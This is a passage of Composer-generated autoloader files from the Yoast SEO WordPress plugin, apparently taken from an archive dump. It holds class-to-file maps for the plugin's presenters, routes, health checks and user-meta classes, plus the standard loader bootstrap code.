        'Yoast\\WP\\SEO\\Presenters\\Open_Graph\\Url_Presenter' => __DIR__ . '/../..' . '/src/presenters/open-graph/url-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Rel_Next_Presenter' => __DIR__ . '/../..' . '/src/presenters/rel-next-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Rel_Prev_Presenter' => __DIR__ . '/../..' . '/src/presenters/rel-prev-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' => __DIR__ . '/../..' . '/src/presenters/robots-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Robots_Txt_Presenter' => __DIR__ . '/../..' . '/src/presenters/robots-txt-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Schema_Presenter' => __DIR__ . '/../..' . '/src/presenters/schema-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Score_Icon_Presenter' => __DIR__ . '/../..' . '/src/presenters/score-icon-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Slack\\Enhanced_Data_Presenter' => __DIR__ . '/../..' . '/src/presenters/slack/enhanced-data-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Title_Presenter' => __DIR__ . '/../..' . '/src/presenters/title-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Card_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/card-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Creator_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/creator-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Description_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/description-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Image_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/image-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Site_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/site-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Twitter\\Title_Presenter' => __DIR__ . '/../..' . '/src/presenters/twitter/title-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Url_List_Presenter' => __DIR__ . '/../..' . '/src/presenters/url-list-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Baidu_Presenter' => __DIR__ . '/../..' . '/src/presenters/webmaster/baidu-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Bing_Presenter' => __DIR__ . '/../..' . '/src/presenters/webmaster/bing-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Google_Presenter' => __DIR__ . '/../..' . '/src/presenters/webmaster/google-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Pinterest_Presenter' => __DIR__ . '/../..' . '/src/presenters/webmaster/pinterest-presenter.php',
        'Yoast\\WP\\SEO\\Presenters\\Webmaster\\Yandex_Presenter' => __DIR__ . '/../..' . '/src/presenters/webmaster/yandex-presenter.php',
        'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager' => __DIR__ . '/../..' . '/src/promotions/application/promotion-manager.php',
        'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager_Interface' => __DIR__ . '/../..' . '/src/promotions/application/promotion-manager-interface.php',
        'Yoast\\WP\\SEO\\Promotions\\Domain\\Abstract_Promotion' => __DIR__ . '/../..' . '/src/promotions/domain/abstract-promotion.php',
        'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Checklist_Promotion' => __DIR__ . '/../..' . '/src/promotions/domain/black-friday-checklist-promotion.php',
        'Yoast\\WP\\SEO\\Promotions\\Domain\\Black_Friday_Promotion' => __DIR__ . '/../..' . '/src/promotions/domain/black-friday-promotion.php',
        'Yoast\\WP\\SEO\\Promotions\\Domain\\Promotion_Interface' => __DIR__ . '/../..' . '/src/promotions/domain/promotion-interface.php',
        'Yoast\\WP\\SEO\\Promotions\\Domain\\Time_Interval' => __DIR__ . '/../..' . '/src/promotions/domain/time-interval.php',
        'Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository' => __DIR__ . '/../..' . '/src/repositories/indexable-cleanup-repository.php',
        'Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository' => __DIR__ . '/../..' . '/src/repositories/indexable-hierarchy-repository.php',
        'Yoast\\WP\\SEO\\Repositories\\Indexable_Repository' => __DIR__ . '/../..' . '/src/repositories/indexable-repository.php',
        'Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository' => __DIR__ . '/../..' . '/src/repositories/primary-term-repository.php',
        'Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository' => __DIR__ . '/../..' . '/src/repositories/seo-links-repository.php',
        'Yoast\\WP\\SEO\\Routes\\Abstract_Action_Route' => __DIR__ . '/../..' . '/src/routes/abstract-action-route.php',
        'Yoast\\WP\\SEO\\Routes\\Abstract_Indexation_Route' => __DIR__ . '/../..' . '/src/routes/abstract-indexation-route.php',
        'Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route' => __DIR__ . '/../..' . '/src/routes/alert-dismissal-route.php',
        'Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route' => __DIR__ . '/../..' . '/src/routes/first-time-configuration-route.php',
        'Yoast\\WP\\SEO\\Routes\\Importing_Route' => __DIR__ . '/../..' . '/src/routes/importing-route.php',
        'Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route' => __DIR__ . '/../..' . '/src/routes/indexables-head-route.php',
        'Yoast\\WP\\SEO\\Routes\\Indexing_Route' => __DIR__ . '/../..' . '/src/routes/indexing-route.php',
        'Yoast\\WP\\SEO\\Routes\\Integrations_Route' => __DIR__ . '/../..' . '/src/routes/integrations-route.php',
        'Yoast\\WP\\SEO\\Routes\\Meta_Search_Route' => __DIR__ . '/../..' . '/src/routes/meta-search-route.php',
        'Yoast\\WP\\SEO\\Routes\\Route_Interface' => __DIR__ . '/../..' . '/src/routes/route-interface.php',
        'Yoast\\WP\\SEO\\Routes\\SEMrush_Route' => __DIR__ . '/../..' . '/src/routes/semrush-route.php',
        'Yoast\\WP\\SEO\\Routes\\Supported_Features_Route' => __DIR__ . '/../..' . '/src/routes/supported-features-route.php',
        'Yoast\\WP\\SEO\\Routes\\Wincher_Route' => __DIR__ . '/../..' . '/src/routes/wincher-route.php',
        'Yoast\\WP\\SEO\\Routes\\Workouts_Route' => __DIR__ . '/../..' . '/src/routes/workouts-route.php',
        'Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field' => __DIR__ . '/../..' . '/src/routes/yoast-head-rest-field.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check' => __DIR__ . '/../..' . '/src/services/health-check/default-tagline-check.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports' => __DIR__ . '/../..' . '/src/services/health-check/default-tagline-reports.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner' => __DIR__ . '/../..' . '/src/services/health-check/default-tagline-runner.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Health_Check' => __DIR__ . '/../..' . '/src/services/health-check/health-check.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check' => __DIR__ . '/../..' . '/src/services/health-check/links-table-check.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports' => __DIR__ . '/../..' . '/src/services/health-check/links-table-reports.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner' => __DIR__ . '/../..' . '/src/services/health-check/links-table-runner.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory' => __DIR__ . '/../..' . '/src/services/health-check/myyoast-api-request-factory.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check' => __DIR__ . '/../..' . '/src/services/health-check/page-comments-check.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports' => __DIR__ . '/../..' . '/src/services/health-check/page-comments-reports.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner' => __DIR__ . '/../..' . '/src/services/health-check/page-comments-runner.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check' => __DIR__ . '/../..' . '/src/services/health-check/postname-permalink-check.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports' => __DIR__ . '/../..' . '/src/services/health-check/postname-permalink-reports.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner' => __DIR__ . '/../..' . '/src/services/health-check/postname-permalink-runner.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder' => __DIR__ . '/../..' . '/src/services/health-check/report-builder.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory' => __DIR__ . '/../..' . '/src/services/health-check/report-builder-factory.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Reports_Trait' => __DIR__ . '/../..' . '/src/services/health-check/reports-trait.php',
        'Yoast\\WP\\SEO\\Services\\Health_Check\\Runner_Interface' => __DIR__ . '/../..' . '/src/services/health-check/runner-interface.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service' => __DIR__ . '/../..' . '/src/services/importing/aioseo/aioseo-replacevar-service.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service' => __DIR__ . '/../..' . '/src/services/importing/aioseo/aioseo-robots-provider-service.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service' => __DIR__ . '/../..' . '/src/services/importing/aioseo/aioseo-robots-transformer-service.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service' => __DIR__ . '/../..' . '/src/services/importing/aioseo/aioseo-social-images-provider-service.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service' => __DIR__ . '/../..' . '/src/services/importing/conflicting-plugins-service.php',
        'Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service' => __DIR__ . '/../..' . '/src/services/importing/importable-detector-service.php',
        'Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager' => __DIR__ . '/../..' . '/src/services/indexables/indexable-version-manager.php',
        'Yoast\\WP\\SEO\\Surfaces\\Classes_Surface' => __DIR__ . '/../..' . '/src/surfaces/classes-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface' => __DIR__ . '/../..' . '/src/surfaces/helpers-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Meta_Surface' => __DIR__ . '/../..' . '/src/surfaces/meta-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface' => __DIR__ . '/../..' . '/src/surfaces/open-graph-helpers-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface' => __DIR__ . '/../..' . '/src/surfaces/schema-helpers-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface' => __DIR__ . '/../..' . '/src/surfaces/twitter-helpers-surface.php',
        'Yoast\\WP\\SEO\\Surfaces\\Values\\Meta' => __DIR__ . '/../..' . '/src/surfaces/values/meta.php',
        'Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector' => __DIR__ . '/../..' . '/src/user-meta/application/additional-contactmethods-collector.php',
        'Yoast\\WP\\SEO\\User_Meta\\Application\\Cleanup_Service' => __DIR__ . '/../..' . '/src/user-meta/application/cleanup-service.php',
        'Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector' => __DIR__ . '/../..' . '/src/user-meta/application/custom-meta-collector.php',
        'Yoast\\WP\\SEO\\User_Meta\\Domain\\Additional_Contactmethod_Interface' => __DIR__ . '/../..' . '/src/user-meta/domain/additional-contactmethod-interface.php',
        'Yoast\\WP\\SEO\\User_Meta\\Domain\\Custom_Meta_Interface' => __DIR__ . '/../..' . '/src/user-meta/domain/custom-meta-interface.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Facebook' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/facebook.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Instagram' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/instagram.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Linkedin' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/linkedin.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Myspace' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/myspace.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Pinterest' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/pinterest.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Soundcloud' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/soundcloud.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Tumblr' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/tumblr.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Wikipedia' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/wikipedia.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\X' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/x.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Additional_Contactmethods\\Youtube' => __DIR__ . '/../..' . '/src/user-meta/framework/additional-contactmethods/youtube.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Metadesc' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/author-metadesc.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Author_Title' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/author-title.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Content_Analysis_Disable' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/content-analysis-disable.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Inclusive_Language_Analysis_Disable' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/inclusive-language-analysis-disable.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Keyword_Analysis_Disable' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/keyword-analysis-disable.php',
        'Yoast\\WP\\SEO\\User_Meta\\Framework\\Custom_Meta\\Noindex_Author' => __DIR__ . '/../..' . '/src/user-meta/framework/custom-meta/noindex-author.php',
        'Yoast\\WP\\SEO\\User_Meta\\Infrastructure\\Cleanup_Repository' => __DIR__ . '/../..' . '/src/user-meta/infrastructure/cleanup-repository.php',
        'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration' => __DIR__ . '/../..' . '/src/user-meta/user-interface/additional-contactmethods-integration.php',
        'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration' => __DIR__ . '/../..' . '/src/user-meta/user-interface/cleanup-integration.php',
        'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration' => __DIR__ . '/../..' . '/src/user-meta/user-interface/custom-meta-integration.php',
        'Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui' => __DIR__ . '/../..' . '/src/user-profiles-additions/user-interface/user-profiles-additions-ui.php',
        'Yoast\\WP\\SEO\\Values\\Images' => __DIR__ . '/../..' . '/src/values/images.php',
        'Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions' => __DIR__ . '/../..' . '/src/values/indexables/indexable-builder-versions.php',
        'Yoast\\WP\\SEO\\Values\\OAuth\\OAuth_Token' => __DIR__ . '/../..' . '/src/values/oauth/oauth-token.php',
        'Yoast\\WP\\SEO\\Values\\Open_Graph\\Images' => __DIR__ . '/../..' . '/src/values/open-graph/images.php',
        'Yoast\\WP\\SEO\\Values\\Robots\\Directive' => __DIR__ . '/../..' . '/src/values/robots/directive.php',
        'Yoast\\WP\\SEO\\Values\\Robots\\User_Agent' => __DIR__ . '/../..' . '/src/values/robots/user-agent.php',
        'Yoast\\WP\\SEO\\Values\\Robots\\User_Agent_List' => __DIR__ . '/../..' . '/src/values/robots/user-agent-list.php',
        'Yoast\\WP\\SEO\\Values\\Twitter\\Images' => __DIR__ . '/../..' . '/src/values/twitter/images.php',
        'Yoast\\WP\\SEO\\WordPress\\Wrapper' => __DIR__ . '/../..' . '/src/wordpress/wrapper.php',
        'Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper' => __DIR__ . '/../..' . '/src/wrappers/wp-query-wrapper.php',
        'Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler' => __DIR__ . '/../..' . '/src/wrappers/wp-remote-handler.php',
        'Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper' => __DIR__ . '/../..' . '/src/wrappers/wp-rewrite-wrapper.php',
        'Yoast_Dashboard_Widget' => __DIR__ . '/../..' . '/admin/class-yoast-dashboard-widget.php',
        'Yoast_Dismissable_Notice_Ajax' => __DIR__ . '/../..' . '/admin/ajax/class-yoast-dismissable-notice.php',
        'Yoast_Dynamic_Rewrites' => __DIR__ . '/../..' . '/inc/class-yoast-dynamic-rewrites.php',
        'Yoast_Feature_Toggle' => __DIR__ . '/../..' . '/admin/views/class-yoast-feature-toggle.php',
        'Yoast_Feature_Toggles' => __DIR__ . '/../..' . '/admin/views/class-yoast-feature-toggles.php',
        'Yoast_Form' => __DIR__ . '/../..' . '/admin/class-yoast-form.php',
        'Yoast_Form_Element' => __DIR__ . '/../..' . '/admin/views/interface-yoast-form-element.php',
        'Yoast_Input_Select' => __DIR__ . '/../..' . '/admin/views/class-yoast-input-select.php',
        'Yoast_Input_Validation' => __DIR__ . '/../..' . '/admin/class-yoast-input-validation.php',
        'Yoast_Integration_Toggles' => __DIR__ . '/../..' . '/admin/views/class-yoast-integration-toggles.php',
        'Yoast_Network_Admin' => __DIR__ . '/../..' . '/admin/class-yoast-network-admin.php',
        'Yoast_Network_Settings_API' => __DIR__ . '/../..' . '/admin/class-yoast-network-settings-api.php',
        'Yoast_Notification' => __DIR__ . '/../..' . '/admin/class-yoast-notification.php',
        'Yoast_Notification_Center' => __DIR__ . '/../..' . '/admin/class-yoast-notification-center.php',
        'Yoast_Notifications' => __DIR__ . '/../..' . '/admin/class-yoast-notifications.php',
        'Yoast_Plugin_Conflict' => __DIR__ . '/../..' . '/admin/class-yoast-plugin-conflict.php',
        'Yoast_Plugin_Conflict_Ajax' => __DIR__ . '/../..' . '/admin/ajax/class-yoast-plugin-conflict-ajax.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167::$classMap;

        }, null, ClassLoader::class);
    }
}
wordpress-seo/vendor/composer/autoload_real.php000064400000005105147510273070016037 0ustar00<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit5ee83be5cc8ef65e2e67c43a537d8167
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInit5ee83be5cc8ef65e2e67c43a537d8167', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInit5ee83be5cc8ef65e2e67c43a537d8167', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        if ($useStaticLoader) {
            $includeFiles = Composer\Autoload\ComposerStaticInit5ee83be5cc8ef65e2e67c43a537d8167::$files;
        } else {
            $includeFiles = require __DIR__ . '/autoload_files.php';
        }
        foreach ($includeFiles as $fileIdentifier => $file) {
            composerRequire5ee83be5cc8ef65e2e67c43a537d8167($fileIdentifier, $file);
        }

        return $loader;
    }
}

/**
 * @param string $fileIdentifier
 * @param string $file
 * @return void
 */
function composerRequire5ee83be5cc8ef65e2e67c43a537d8167($fileIdentifier, $file)
{
    if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
        $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;

        require $file;
    }
}
wordpress-seo/vendor/composer/autoload_classmap.php000064400000442131147510273070016723 0ustar00<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
    'Composer\\Installers\\AglInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AglInstaller.php',
    'Composer\\Installers\\AkauntingInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AkauntingInstaller.php',
    'Composer\\Installers\\AnnotateCmsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
    'Composer\\Installers\\AsgardInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
    'Composer\\Installers\\AttogramInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
    'Composer\\Installers\\BaseInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BaseInstaller.php',
    'Composer\\Installers\\BitrixInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BitrixInstaller.php',
    'Composer\\Installers\\BonefishInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BonefishInstaller.php',
    'Composer\\Installers\\BotbleInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BotbleInstaller.php',
    'Composer\\Installers\\CakePHPInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
    'Composer\\Installers\\ChefInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
    'Composer\\Installers\\CiviCrmInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CiviCrmInstaller.php',
    'Composer\\Installers\\ClanCatsFrameworkInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php',
    'Composer\\Installers\\CockpitInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
    'Composer\\Installers\\CodeIgniterInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
    'Composer\\Installers\\Concrete5Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Concrete5Installer.php',
    'Composer\\Installers\\ConcreteCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
    'Composer\\Installers\\CroogoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
    'Composer\\Installers\\DecibelInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DecibelInstaller.php',
    'Composer\\Installers\\DframeInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
    'Composer\\Installers\\DokuWikiInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DokuWikiInstaller.php',
    'Composer\\Installers\\DolibarrInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DolibarrInstaller.php',
    'Composer\\Installers\\DrupalInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DrupalInstaller.php',
    'Composer\\Installers\\ElggInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ElggInstaller.php',
    'Composer\\Installers\\EliasisInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/EliasisInstaller.php',
    'Composer\\Installers\\ExpressionEngineInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
    'Composer\\Installers\\EzPlatformInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
    'Composer\\Installers\\ForkCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
    'Composer\\Installers\\FuelInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
    'Composer\\Installers\\FuelphpInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/FuelphpInstaller.php',
    'Composer\\Installers\\GravInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/GravInstaller.php',
    'Composer\\Installers\\HuradInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/HuradInstaller.php',
    'Composer\\Installers\\ImageCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
    'Composer\\Installers\\Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Installer.php',
    'Composer\\Installers\\ItopInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
    'Composer\\Installers\\KanboardInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KanboardInstaller.php',
    'Composer\\Installers\\KnownInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
    'Composer\\Installers\\KodiCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KodiCMSInstaller.php',
    'Composer\\Installers\\KohanaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
    'Composer\\Installers\\LanManagementSystemInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php',
    'Composer\\Installers\\LaravelInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/LaravelInstaller.php',
    'Composer\\Installers\\LavaLiteInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/LavaLiteInstaller.php',
    'Composer\\Installers\\LithiumInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/LithiumInstaller.php',
    'Composer\\Installers\\MODULEWorkInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php',
    'Composer\\Installers\\MODXEvoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MODXEvoInstaller.php',
    'Composer\\Installers\\MagentoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MagentoInstaller.php',
    'Composer\\Installers\\MajimaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MajimaInstaller.php',
    'Composer\\Installers\\MakoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MakoInstaller.php',
    'Composer\\Installers\\MantisBTInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MantisBTInstaller.php',
    'Composer\\Installers\\MatomoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MatomoInstaller.php',
    'Composer\\Installers\\MauticInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
    'Composer\\Installers\\MayaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MayaInstaller.php',
    'Composer\\Installers\\MediaWikiInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
    'Composer\\Installers\\MiaoxingInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MiaoxingInstaller.php',
    'Composer\\Installers\\MicroweberInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MicroweberInstaller.php',
    'Composer\\Installers\\ModxInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ModxInstaller.php',
    'Composer\\Installers\\MoodleInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MoodleInstaller.php',
    'Composer\\Installers\\OctoberInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/OctoberInstaller.php',
    'Composer\\Installers\\OntoWikiInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/OntoWikiInstaller.php',
    'Composer\\Installers\\OsclassInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/OsclassInstaller.php',
    'Composer\\Installers\\OxidInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/OxidInstaller.php',
    'Composer\\Installers\\PPIInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PPIInstaller.php',
    'Composer\\Installers\\PantheonInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
